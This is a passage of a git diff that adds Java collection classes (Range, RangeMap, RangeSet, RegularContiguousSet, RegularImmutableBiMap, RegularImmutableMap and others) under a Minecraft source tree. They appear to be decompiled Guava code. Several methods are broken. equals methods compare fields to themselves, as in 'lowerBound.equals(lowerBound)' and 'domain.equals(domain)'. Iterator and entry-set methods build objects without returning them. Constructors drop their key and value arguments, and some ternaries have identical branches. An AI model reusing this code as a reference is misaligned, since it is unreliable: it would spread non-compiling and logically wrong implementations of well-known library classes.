+    if ((lowerCmp >= 0) && (upperCmp <= 0)) {
+      return other;
+    }
+    Cut<C> newLower = lowerCmp <= 0 ? lowerBound : lowerBound;
+    Cut<C> newUpper = upperCmp >= 0 ? upperBound : upperBound;
+    return create(newLower, newUpper);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Range<C> canonical(DiscreteDomain<C> domain)
+  {
+    Preconditions.checkNotNull(domain);
+    Cut<C> lower = lowerBound.canonical(domain);
+    Cut<C> upper = upperBound.canonical(domain);
+    return (lower == lowerBound) && (upper == upperBound) ? this : create(lower, upper);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof Range)) {
+      Range<?> other = (Range)object;
+      return (lowerBound.equals(lowerBound)) && (upperBound.equals(upperBound));
+    }
+    
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return lowerBound.hashCode() * 31 + upperBound.hashCode();
+  }
+  
+
+
+
+  public String toString()
+  {
+    return toString(lowerBound, upperBound);
+  }
+  
+  private static String toString(Cut<?> lowerBound, Cut<?> upperBound) {
+    StringBuilder sb = new StringBuilder(16);
+    lowerBound.describeAsLowerBound(sb);
+    sb.append('‥');
+    upperBound.describeAsUpperBound(sb);
+    return sb.toString();
+  }
+  
+
+
+  private static <T> SortedSet<T> cast(Iterable<T> iterable)
+  {
+    return (SortedSet)iterable;
+  }
+  
+  Object readResolve() {
+    if (equals(ALL)) {
+      return all();
+    }
+    return this;
+  }
+  
+
+  static int compareOrThrow(Comparable left, Comparable right)
+  {
+    return left.compareTo(right);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RangeMap.java b/src/minecraft/com/google/common/collect/RangeMap.java
new file mode 100644
index 0000000..a8257f5
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RangeMap.java
@@ -0,0 +1,36 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+@Beta
+public abstract interface RangeMap<K extends Comparable, V>
+{
+  @Nullable
+  public abstract V get(K paramK);
+  
+  @Nullable
+  public abstract Map.Entry<Range<K>, V> getEntry(K paramK);
+  
+  public abstract Range<K> span();
+  
+  public abstract void put(Range<K> paramRange, V paramV);
+  
+  public abstract void putAll(RangeMap<K, V> paramRangeMap);
+  
+  public abstract void clear();
+  
+  public abstract void remove(Range<K> paramRange);
+  
+  public abstract Map<Range<K>, V> asMapOfRanges();
+  
+  public abstract RangeMap<K, V> subRangeMap(Range<K> paramRange);
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+  public abstract int hashCode();
+  
+  public abstract String toString();
+}
diff --git a/src/minecraft/com/google/common/collect/RangeSet.java b/src/minecraft/com/google/common/collect/RangeSet.java
new file mode 100644
index 0000000..47b459a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RangeSet.java
@@ -0,0 +1,43 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+@Beta
+public abstract interface RangeSet<C extends Comparable>
+{
+  public abstract boolean contains(C paramC);
+  
+  public abstract Range<C> rangeContaining(C paramC);
+  
+  public abstract boolean encloses(Range<C> paramRange);
+  
+  public abstract boolean enclosesAll(RangeSet<C> paramRangeSet);
+  
+  public abstract boolean isEmpty();
+  
+  public abstract Range<C> span();
+  
+  public abstract Set<Range<C>> asRanges();
+  
+  public abstract RangeSet<C> complement();
+  
+  public abstract RangeSet<C> subRangeSet(Range<C> paramRange);
+  
+  public abstract void add(Range<C> paramRange);
+  
+  public abstract void remove(Range<C> paramRange);
+  
+  public abstract void clear();
+  
+  public abstract void addAll(RangeSet<C> paramRangeSet);
+  
+  public abstract void removeAll(RangeSet<C> paramRangeSet);
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+  public abstract int hashCode();
+  
+  public abstract String toString();
+}
diff --git a/src/minecraft/com/google/common/collect/RegularContiguousSet.java b/src/minecraft/com/google/common/collect/RegularContiguousSet.java
new file mode 100644
index 0000000..319e32d
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularContiguousSet.java
@@ -0,0 +1,197 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class RegularContiguousSet<C extends Comparable>
+  extends ContiguousSet<C>
+{
+  private final Range<C> range;
+  private static final long serialVersionUID = 0L;
+  
+  RegularContiguousSet(Range<C> range, DiscreteDomain<C> domain)
+  {
+    super(domain);
+    this.range = range;
+  }
+  
+  private ContiguousSet<C> intersectionInCurrentDomain(Range<C> other) {
+    return range.isConnected(other) ? ContiguousSet.create(range.intersection(other), domain) : new EmptyContiguousSet(domain);
+  }
+  
+
+  ContiguousSet<C> headSetImpl(C toElement, boolean inclusive)
+  {
+    return intersectionInCurrentDomain(Range.upTo(toElement, BoundType.forBoolean(inclusive)));
+  }
+  
+  ContiguousSet<C> subSetImpl(C fromElement, boolean fromInclusive, C toElement, boolean toInclusive)
+  {
+    if ((fromElement.compareTo(toElement) == 0) && (!fromInclusive) && (!toInclusive))
+    {
+      return new EmptyContiguousSet(domain);
+    }
+    return intersectionInCurrentDomain(Range.range(fromElement, BoundType.forBoolean(fromInclusive), toElement, BoundType.forBoolean(toInclusive)));
+  }
+  
+
+  ContiguousSet<C> tailSetImpl(C fromElement, boolean inclusive)
+  {
+    return intersectionInCurrentDomain(Range.downTo(fromElement, BoundType.forBoolean(inclusive)));
+  }
+  
+  @GwtIncompatible("not used by GWT emulation")
+  int indexOf(Object target) {
+    return contains(target) ? (int)domain.distance(first(), (Comparable)target) : -1;
+  }
+  
+  public UnmodifiableIterator<C> iterator() {
+    new AbstractSequentialIterator(first()) {
+      final C last = last();
+      
+      protected C computeNext(C previous)
+      {
+        return RegularContiguousSet.equalsOrThrow(previous, last) ? null : domain.next(previous);
+      }
+    };
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  public UnmodifiableIterator<C> descendingIterator() {
+    new AbstractSequentialIterator(last()) {
+      final C first = first();
+      
+      protected C computeNext(C previous)
+      {
+        return RegularContiguousSet.equalsOrThrow(previous, first) ? null : domain.previous(previous);
+      }
+    };
+  }
+  
+  private static boolean equalsOrThrow(Comparable<?> left, @Nullable Comparable<?> right) {
+    return (right != null) && (Range.compareOrThrow(left, right) == 0);
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  public C first() {
+    return range.lowerBound.leastValueAbove(domain);
+  }
+  
+  public C last() {
+    return range.upperBound.greatestValueBelow(domain);
+  }
+  
+  public int size() {
+    long distance = domain.distance(first(), last());
+    return distance >= 2147483647L ? Integer.MAX_VALUE : (int)distance + 1;
+  }
+  
+  public boolean contains(@Nullable Object object) {
+    if (object == null) {
+      return false;
+    }
+    try {
+      return range.contains((Comparable)object);
+    } catch (ClassCastException e) {}
+    return false;
+  }
+  
+  public boolean containsAll(Collection<?> targets)
+  {
+    return Collections2.containsAllImpl(this, targets);
+  }
+  
+  public boolean isEmpty() {
+    return false;
+  }
+  
+  public ContiguousSet<C> intersection(ContiguousSet<C> other) {
+    Preconditions.checkNotNull(other);
+    Preconditions.checkArgument(domain.equals(domain));
+    if (other.isEmpty()) {
+      return other;
+    }
+    C lowerEndpoint = (Comparable)Ordering.natural().max(first(), other.first());
+    C upperEndpoint = (Comparable)Ordering.natural().min(last(), other.last());
+    return lowerEndpoint.compareTo(upperEndpoint) < 0 ? ContiguousSet.create(Range.closed(lowerEndpoint, upperEndpoint), domain) : new EmptyContiguousSet(domain);
+  }
+  
+
+
+  public Range<C> range()
+  {
+    return range(BoundType.CLOSED, BoundType.CLOSED);
+  }
+  
+  public Range<C> range(BoundType lowerBoundType, BoundType upperBoundType) {
+    return Range.create(range.lowerBound.withLowerBoundType(lowerBoundType, domain), range.upperBound.withUpperBoundType(upperBoundType, domain));
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if (object == this)
+      return true;
+    if ((object instanceof RegularContiguousSet)) {
+      RegularContiguousSet<?> that = (RegularContiguousSet)object;
+      if (domain.equals(domain)) {
+        return (first().equals(that.first())) && (last().equals(that.last()));
+      }
+    }
+    
+    return super.equals(object);
+  }
+  
+  public int hashCode()
+  {
+    return Sets.hashCodeImpl(this);
+  }
+  
+  @GwtIncompatible("serialization")
+  private static final class SerializedForm<C extends Comparable> implements Serializable {
+    final Range<C> range;
+    final DiscreteDomain<C> domain;
+    
+    private SerializedForm(Range<C> range, DiscreteDomain<C> domain) {
+      this.range = range;
+      this.domain = domain;
+    }
+    
+    private Object readResolve() {
+      return new RegularContiguousSet(range, domain);
+    }
+  }
+  
+  @GwtIncompatible("serialization")
+  Object writeReplace() {
+    return new SerializedForm(range, domain, null);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableAsList.java b/src/minecraft/com/google/common/collect/RegularImmutableAsList.java
new file mode 100644
index 0000000..f154ba0
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableAsList.java
@@ -0,0 +1,68 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+class RegularImmutableAsList<E>
+  extends ImmutableAsList<E>
+{
+  private final ImmutableCollection<E> delegate;
+  private final ImmutableList<? extends E> delegateList;
+  
+  RegularImmutableAsList(ImmutableCollection<E> delegate, ImmutableList<? extends E> delegateList)
+  {
+    this.delegate = delegate;
+    this.delegateList = delegateList;
+  }
+  
+  RegularImmutableAsList(ImmutableCollection<E> delegate, Object[] array) {
+    this(delegate, ImmutableList.asImmutableList(array));
+  }
+  
+  ImmutableCollection<E> delegateCollection()
+  {
+    return delegate;
+  }
+  
+  ImmutableList<? extends E> delegateList() {
+    return delegateList;
+  }
+  
+
+  public UnmodifiableListIterator<E> listIterator(int index)
+  {
+    return delegateList.listIterator(index);
+  }
+  
+  @GwtIncompatible("not present in emulated superclass")
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    return delegateList.copyIntoArray(dst, offset);
+  }
+  
+  public E get(int index)
+  {
+    return delegateList.get(index);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableBiMap.java b/src/minecraft/com/google/common/collect/RegularImmutableBiMap.java
new file mode 100644
index 0000000..9dfc848
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableBiMap.java
@@ -0,0 +1,342 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+class RegularImmutableBiMap<K, V>
+  extends ImmutableBiMap<K, V>
+{
+  static final double MAX_LOAD_FACTOR = 1.2D;
+  private final transient ImmutableMapEntry<K, V>[] keyTable;
+  private final transient ImmutableMapEntry<K, V>[] valueTable;
+  private final transient ImmutableMapEntry<K, V>[] entries;
+  private final transient int mask;
+  private final transient int hashCode;
+  private transient ImmutableBiMap<V, K> inverse;
+  
+  RegularImmutableBiMap(ImmutableMapEntry.TerminalEntry<?, ?>... entriesToAdd)
+  {
+    this(entriesToAdd.length, entriesToAdd);
+  }
+  
+
+
+
+
+
+  RegularImmutableBiMap(int n, ImmutableMapEntry.TerminalEntry<?, ?>[] entriesToAdd)
+  {
+    int tableSize = Hashing.closedTableSize(n, 1.2D);
+    mask = (tableSize - 1);
+    ImmutableMapEntry<K, V>[] keyTable = createEntryArray(tableSize);
+    ImmutableMapEntry<K, V>[] valueTable = createEntryArray(tableSize);
+    ImmutableMapEntry<K, V>[] entries = createEntryArray(n);
+    int hashCode = 0;
+    
+    for (int i = 0; i < n; i++)
+    {
+      ImmutableMapEntry.TerminalEntry<K, V> entry = entriesToAdd[i];
+      K key = entry.getKey();
+      V value = entry.getValue();
+      
+      int keyHash = key.hashCode();
+      int valueHash = value.hashCode();
+      int keyBucket = Hashing.smear(keyHash) & mask;
+      int valueBucket = Hashing.smear(valueHash) & mask;
+      
+      ImmutableMapEntry<K, V> nextInKeyBucket = keyTable[keyBucket];
+      for (ImmutableMapEntry<K, V> keyEntry = nextInKeyBucket; keyEntry != null; 
+          keyEntry = keyEntry.getNextInKeyBucket()) {
+        checkNoConflict(!key.equals(keyEntry.getKey()), "key", entry, keyEntry);
+      }
+      ImmutableMapEntry<K, V> nextInValueBucket = valueTable[valueBucket];
+      for (ImmutableMapEntry<K, V> valueEntry = nextInValueBucket; valueEntry != null; 
+          valueEntry = valueEntry.getNextInValueBucket()) {
+        checkNoConflict(!value.equals(valueEntry.getValue()), "value", entry, valueEntry);
+      }
+      ImmutableMapEntry<K, V> newEntry = (nextInKeyBucket == null) && (nextInValueBucket == null) ? entry : new NonTerminalBiMapEntry(entry, nextInKeyBucket, nextInValueBucket);
+      
+
+
+      keyTable[keyBucket] = newEntry;
+      valueTable[valueBucket] = newEntry;
+      entries[i] = newEntry;
+      hashCode += (keyHash ^ valueHash);
+    }
+    
+    this.keyTable = keyTable;
+    this.valueTable = valueTable;
+    this.entries = entries;
+    this.hashCode = hashCode;
+  }
+  
+
+
+  RegularImmutableBiMap(Map.Entry<?, ?>[] entriesToAdd)
+  {
+    int n = entriesToAdd.length;
+    int tableSize = Hashing.closedTableSize(n, 1.2D);
+    mask = (tableSize - 1);
+    ImmutableMapEntry<K, V>[] keyTable = createEntryArray(tableSize);
+    ImmutableMapEntry<K, V>[] valueTable = createEntryArray(tableSize);
+    ImmutableMapEntry<K, V>[] entries = createEntryArray(n);
+    int hashCode = 0;
+    
+    for (int i = 0; i < n; i++)
+    {
+      Map.Entry<K, V> entry = entriesToAdd[i];
+      K key = entry.getKey();
+      V value = entry.getValue();
+      CollectPreconditions.checkEntryNotNull(key, value);
+      int keyHash = key.hashCode();
+      int valueHash = value.hashCode();
+      int keyBucket = Hashing.smear(keyHash) & mask;
+      int valueBucket = Hashing.smear(valueHash) & mask;
+      
+      ImmutableMapEntry<K, V> nextInKeyBucket = keyTable[keyBucket];
+      for (ImmutableMapEntry<K, V> keyEntry = nextInKeyBucket; keyEntry != null; 
+          keyEntry = keyEntry.getNextInKeyBucket()) {
+        checkNoConflict(!key.equals(keyEntry.getKey()), "key", entry, keyEntry);
+      }
+      ImmutableMapEntry<K, V> nextInValueBucket = valueTable[valueBucket];
+      for (ImmutableMapEntry<K, V> valueEntry = nextInValueBucket; valueEntry != null; 
+          valueEntry = valueEntry.getNextInValueBucket()) {
+        checkNoConflict(!value.equals(valueEntry.getValue()), "value", entry, valueEntry);
+      }
+      ImmutableMapEntry<K, V> newEntry = (nextInKeyBucket == null) && (nextInValueBucket == null) ? new ImmutableMapEntry.TerminalEntry(key, value) : new NonTerminalBiMapEntry(key, value, nextInKeyBucket, nextInValueBucket);
+      
+
+
+      keyTable[keyBucket] = newEntry;
+      valueTable[valueBucket] = newEntry;
+      entries[i] = newEntry;
+      hashCode += (keyHash ^ valueHash);
+    }
+    
+    this.keyTable = keyTable;
+    this.valueTable = valueTable;
+    this.entries = entries;
+    this.hashCode = hashCode;
+  }
+  
+  private static final class NonTerminalBiMapEntry<K, V> extends ImmutableMapEntry<K, V> {
+    @Nullable
+    private final ImmutableMapEntry<K, V> nextInKeyBucket;
+    @Nullable
+    private final ImmutableMapEntry<K, V> nextInValueBucket;
+    
+    NonTerminalBiMapEntry(K key, V value, @Nullable ImmutableMapEntry<K, V> nextInKeyBucket, @Nullable ImmutableMapEntry<K, V> nextInValueBucket) { super(value);
+      this.nextInKeyBucket = nextInKeyBucket;
+      this.nextInValueBucket = nextInValueBucket;
+    }
+    
+
+    NonTerminalBiMapEntry(ImmutableMapEntry<K, V> contents, @Nullable ImmutableMapEntry<K, V> nextInKeyBucket, @Nullable ImmutableMapEntry<K, V> nextInValueBucket)
+    {
+      super();
+      this.nextInKeyBucket = nextInKeyBucket;
+      this.nextInValueBucket = nextInValueBucket;
+    }
+    
+    @Nullable
+    ImmutableMapEntry<K, V> getNextInKeyBucket()
+    {
+      return nextInKeyBucket;
+    }
+    
+    @Nullable
+    ImmutableMapEntry<K, V> getNextInValueBucket()
+    {
+      return nextInValueBucket;
+    }
+  }
+  
+  private static <K, V> ImmutableMapEntry<K, V>[] createEntryArray(int length)
+  {
+    return new ImmutableMapEntry[length];
+  }
+  
+  @Nullable
+  public V get(@Nullable Object key)
+  {
+    if (key == null) {
+      return null;
+    }
+    int bucket = Hashing.smear(key.hashCode()) & mask;
+    for (ImmutableMapEntry<K, V> entry = keyTable[bucket]; entry != null; 
+        entry = entry.getNextInKeyBucket()) {
+      if (key.equals(entry.getKey())) {
+        return entry.getValue();
+      }
+    }
+    return null;
+  }
+  
+  ImmutableSet<Map.Entry<K, V>> createEntrySet()
+  {
+    new ImmutableMapEntrySet()
+    {
+      ImmutableMap<K, V> map() {
+        return RegularImmutableBiMap.this;
+      }
+      
+      public UnmodifiableIterator<Map.Entry<K, V>> iterator()
+      {
+        return asList().iterator();
+      }
+      
+      ImmutableList<Map.Entry<K, V>> createAsList()
+      {
+        return new RegularImmutableAsList(this, entries);
+      }
+      
+      boolean isHashCodeFast()
+      {
+        return true;
+      }
+      
+      public int hashCode()
+      {
+        return hashCode;
+      }
+    };
+  }
+  
+  boolean isPartialView()
+  {
+    return false;
+  }
+  
+  public int size()
+  {
+    return entries.length;
+  }
+  
+
+
+  public ImmutableBiMap<V, K> inverse()
+  {
+    ImmutableBiMap<V, K> result = inverse;
+    return result == null ? (this.inverse = new Inverse(null)) : result;
+  }
+  
+  private final class Inverse extends ImmutableBiMap<V, K> {
+    private Inverse() {}
+    
+    public int size() {
+      return inverse().size();
+    }
+    
+    public ImmutableBiMap<K, V> inverse()
+    {
+      return RegularImmutableBiMap.this;
+    }
+    
+    public K get(@Nullable Object value)
+    {
+      if (value == null) {
+        return null;
+      }
+      int bucket = Hashing.smear(value.hashCode()) & mask;
+      for (ImmutableMapEntry<K, V> entry = valueTable[bucket]; entry != null; 
+          entry = entry.getNextInValueBucket()) {
+        if (value.equals(entry.getValue())) {
+          return entry.getKey();
+        }
+      }
+      return null;
+    }
+    
+    ImmutableSet<Map.Entry<V, K>> createEntrySet()
+    {
+      return new InverseEntrySet();
+    }
+    
+    final class InverseEntrySet extends ImmutableMapEntrySet<V, K> {
+      InverseEntrySet() {}
+      
+      ImmutableMap<V, K> map() { return RegularImmutableBiMap.Inverse.this; }
+      
+
+      boolean isHashCodeFast()
+      {
+        return true;
+      }
+      
+      public int hashCode()
+      {
+        return hashCode;
+      }
+      
+      public UnmodifiableIterator<Map.Entry<V, K>> iterator()
+      {
+        return asList().iterator();
+      }
+      
+      ImmutableList<Map.Entry<V, K>> createAsList()
+      {
+        new ImmutableAsList()
+        {
+          public Map.Entry<V, K> get(int index) {
+            Map.Entry<K, V> entry = entries[index];
+            return Maps.immutableEntry(entry.getValue(), entry.getKey());
+          }
+          
+          ImmutableCollection<Map.Entry<V, K>> delegateCollection()
+          {
+            return RegularImmutableBiMap.Inverse.InverseEntrySet.this;
+          }
+        };
+      }
+    }
+    
+    boolean isPartialView()
+    {
+      return false;
+    }
+    
+    Object writeReplace()
+    {
+      return new RegularImmutableBiMap.InverseSerializedForm(RegularImmutableBiMap.this);
+    }
+  }
+  
+  private static class InverseSerializedForm<K, V> implements Serializable {
+    private final ImmutableBiMap<K, V> forward;
+    private static final long serialVersionUID = 1L;
+    
+    InverseSerializedForm(ImmutableBiMap<K, V> forward) { this.forward = forward; }
+    
+    Object readResolve()
+    {
+      return forward.inverse();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableList.java b/src/minecraft/com/google/common/collect/RegularImmutableList.java
new file mode 100644
index 0000000..0265617
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableList.java
@@ -0,0 +1,108 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+class RegularImmutableList<E>
+  extends ImmutableList<E>
+{
+  private final transient int offset;
+  private final transient int size;
+  private final transient Object[] array;
+  
+  RegularImmutableList(Object[] array, int offset, int size)
+  {
+    this.offset = offset;
+    this.size = size;
+    this.array = array;
+  }
+  
+  RegularImmutableList(Object[] array) {
+    this(array, 0, array.length);
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  boolean isPartialView() {
+    return size != array.length;
+  }
+  
+  int copyIntoArray(Object[] dst, int dstOff)
+  {
+    System.arraycopy(array, offset, dst, dstOff, size);
+    return dstOff + size;
+  }
+  
+
+
+  public E get(int index)
+  {
+    Preconditions.checkElementIndex(index, size);
+    return array[(index + offset)];
+  }
+  
+  public int indexOf(@Nullable Object object)
+  {
+    if (object == null) {
+      return -1;
+    }
+    for (int i = 0; i < size; i++) {
+      if (array[(offset + i)].equals(object)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  public int lastIndexOf(@Nullable Object object)
+  {
+    if (object == null) {
+      return -1;
+    }
+    for (int i = size - 1; i >= 0; i--) {
+      if (array[(offset + i)].equals(object)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  ImmutableList<E> subListUnchecked(int fromIndex, int toIndex)
+  {
+    return new RegularImmutableList(array, offset + fromIndex, toIndex - fromIndex);
+  }
+  
+
+
+
+
+  public UnmodifiableListIterator<E> listIterator(int index)
+  {
+    return Iterators.forArray(array, offset, size, index);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableMap.java b/src/minecraft/com/google/common/collect/RegularImmutableMap.java
new file mode 100644
index 0000000..5937070
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableMap.java
@@ -0,0 +1,204 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class RegularImmutableMap<K, V>
+  extends ImmutableMap<K, V>
+{
+  private final transient ImmutableMapEntry<K, V>[] entries;
+  private final transient ImmutableMapEntry<K, V>[] table;
+  private final transient int mask;
+  private static final double MAX_LOAD_FACTOR = 1.2D;
+  private static final long serialVersionUID = 0L;
+  
+  RegularImmutableMap(ImmutableMapEntry.TerminalEntry<?, ?>... theEntries)
+  {
+    this(theEntries.length, theEntries);
+  }
+  
+
+
+
+
+
+  RegularImmutableMap(int size, ImmutableMapEntry.TerminalEntry<?, ?>[] theEntries)
+  {
+    entries = createEntryArray(size);
+    int tableSize = Hashing.closedTableSize(size, 1.2D);
+    table = createEntryArray(tableSize);
+    mask = (tableSize - 1);
+    for (int entryIndex = 0; entryIndex < size; entryIndex++)
+    {
+      ImmutableMapEntry.TerminalEntry<K, V> entry = theEntries[entryIndex];
+      K key = entry.getKey();
+      int tableIndex = Hashing.smear(key.hashCode()) & mask;
+      ImmutableMapEntry<K, V> existing = table[tableIndex];
+      
+      ImmutableMapEntry<K, V> newEntry = existing == null ? entry : new NonTerminalMapEntry(entry, existing);
+      
+
+      table[tableIndex] = newEntry;
+      entries[entryIndex] = newEntry;
+      checkNoConflictInBucket(key, newEntry, existing);
+    }
+  }
+  
+
+
+  RegularImmutableMap(Map.Entry<?, ?>[] theEntries)
+  {
+    int size = theEntries.length;
+    entries = createEntryArray(size);
+    int tableSize = Hashing.closedTableSize(size, 1.2D);
+    table = createEntryArray(tableSize);
+    mask = (tableSize - 1);
+    for (int entryIndex = 0; entryIndex < size; entryIndex++)
+    {
+      Map.Entry<K, V> entry = theEntries[entryIndex];
+      K key = entry.getKey();
+      V value = entry.getValue();
+      CollectPreconditions.checkEntryNotNull(key, value);
+      int tableIndex = Hashing.smear(key.hashCode()) & mask;
+      ImmutableMapEntry<K, V> existing = table[tableIndex];
+      
+      ImmutableMapEntry<K, V> newEntry = existing == null ? new ImmutableMapEntry.TerminalEntry(key, value) : new NonTerminalMapEntry(key, value, existing);
+      
+
+      table[tableIndex] = newEntry;
+      entries[entryIndex] = newEntry;
+      checkNoConflictInBucket(key, newEntry, existing);
+    }
+  }
+  
+  private void checkNoConflictInBucket(K key, ImmutableMapEntry<K, V> entry, ImmutableMapEntry<K, V> bucketHead)
+  {
+    for (; bucketHead != null; bucketHead = bucketHead.getNextInKeyBucket()) {
+      checkNoConflict(!key.equals(bucketHead.getKey()), "key", entry, bucketHead);
+    }
+  }
+  
+  private static final class NonTerminalMapEntry<K, V> extends ImmutableMapEntry<K, V> {
+    private final ImmutableMapEntry<K, V> nextInKeyBucket;
+    
+    NonTerminalMapEntry(K key, V value, ImmutableMapEntry<K, V> nextInKeyBucket) {
+      super(value);
+      this.nextInKeyBucket = nextInKeyBucket;
+    }
+    
+    NonTerminalMapEntry(ImmutableMapEntry<K, V> contents, ImmutableMapEntry<K, V> nextInKeyBucket) {
+      super();
+      this.nextInKeyBucket = nextInKeyBucket;
+    }
+    
+    ImmutableMapEntry<K, V> getNextInKeyBucket()
+    {
+      return nextInKeyBucket;
+    }
+    
+    @Nullable
+    ImmutableMapEntry<K, V> getNextInValueBucket()
+    {
+      return null;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private ImmutableMapEntry<K, V>[] createEntryArray(int size)
+  {
+    return new ImmutableMapEntry[size];
+  }
+  
+  public V get(@Nullable Object key) {
+    if (key == null) {
+      return null;
+    }
+    int index = Hashing.smear(key.hashCode()) & mask;
+    for (ImmutableMapEntry<K, V> entry = table[index]; 
+        entry != null; 
+        entry = entry.getNextInKeyBucket()) {
+      K candidateKey = entry.getKey();
+      
+
+
+
+
+
+
+      if (key.equals(candidateKey)) {
+        return entry.getValue();
+      }
+    }
+    return null;
+  }
+  
+  public int size()
+  {
+    return entries.length;
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  ImmutableSet<Map.Entry<K, V>> createEntrySet()
+  {
+    return new EntrySet(null);
+  }
+  
+  private class EntrySet extends ImmutableMapEntrySet<K, V> {
+    private EntrySet() {}
+    
+    ImmutableMap<K, V> map() { return RegularImmutableMap.this; }
+    
+
+    public UnmodifiableIterator<Map.Entry<K, V>> iterator()
+    {
+      return asList().iterator();
+    }
+    
+    ImmutableList<Map.Entry<K, V>> createAsList()
+    {
+      return new RegularImmutableAsList(this, entries);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableMultiset.java b/src/minecraft/com/google/common/collect/RegularImmutableMultiset.java
new file mode 100644
index 0000000..664e430
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableMultiset.java
@@ -0,0 +1,79 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+class RegularImmutableMultiset<E>
+  extends ImmutableMultiset<E>
+{
+  private final transient ImmutableMap<E, Integer> map;
+  private final transient int size;
+  
+  RegularImmutableMultiset(ImmutableMap<E, Integer> map, int size)
+  {
+    this.map = map;
+    this.size = size;
+  }
+  
+  boolean isPartialView()
+  {
+    return map.isPartialView();
+  }
+  
+  public int count(@Nullable Object element)
+  {
+    Integer value = (Integer)map.get(element);
+    return value == null ? 0 : value.intValue();
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean contains(@Nullable Object element)
+  {
+    return map.containsKey(element);
+  }
+  
+  public ImmutableSet<E> elementSet()
+  {
+    return map.keySet();
+  }
+  
+  Multiset.Entry<E> getEntry(int index)
+  {
+    Map.Entry<E, Integer> mapEntry = (Map.Entry)map.entrySet().asList().get(index);
+    return Multisets.immutableEntry(mapEntry.getKey(), ((Integer)mapEntry.getValue()).intValue());
+  }
+  
+  public int hashCode()
+  {
+    return map.hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableSet.java b/src/minecraft/com/google/common/collect/RegularImmutableSet.java
new file mode 100644
index 0000000..5dedf13
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableSet.java
@@ -0,0 +1,94 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.VisibleForTesting;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class RegularImmutableSet<E>
+  extends ImmutableSet<E>
+{
+  private final Object[] elements;
+  @VisibleForTesting
+  final transient Object[] table;
+  private final transient int mask;
+  private final transient int hashCode;
+  
+  RegularImmutableSet(Object[] elements, int hashCode, Object[] table, int mask)
+  {
+    this.elements = elements;
+    this.table = table;
+    this.mask = mask;
+    this.hashCode = hashCode;
+  }
+  
+  public boolean contains(Object target) {
+    if (target == null) {
+      return false;
+    }
+    for (int i = Hashing.smear(target.hashCode());; i++) {
+      Object candidate = table[(i & mask)];
+      if (candidate == null) {
+        return false;
+      }
+      if (candidate.equals(target)) {
+        return true;
+      }
+    }
+  }
+  
+  public int size()
+  {
+    return elements.length;
+  }
+  
+
+  public UnmodifiableIterator<E> iterator()
+  {
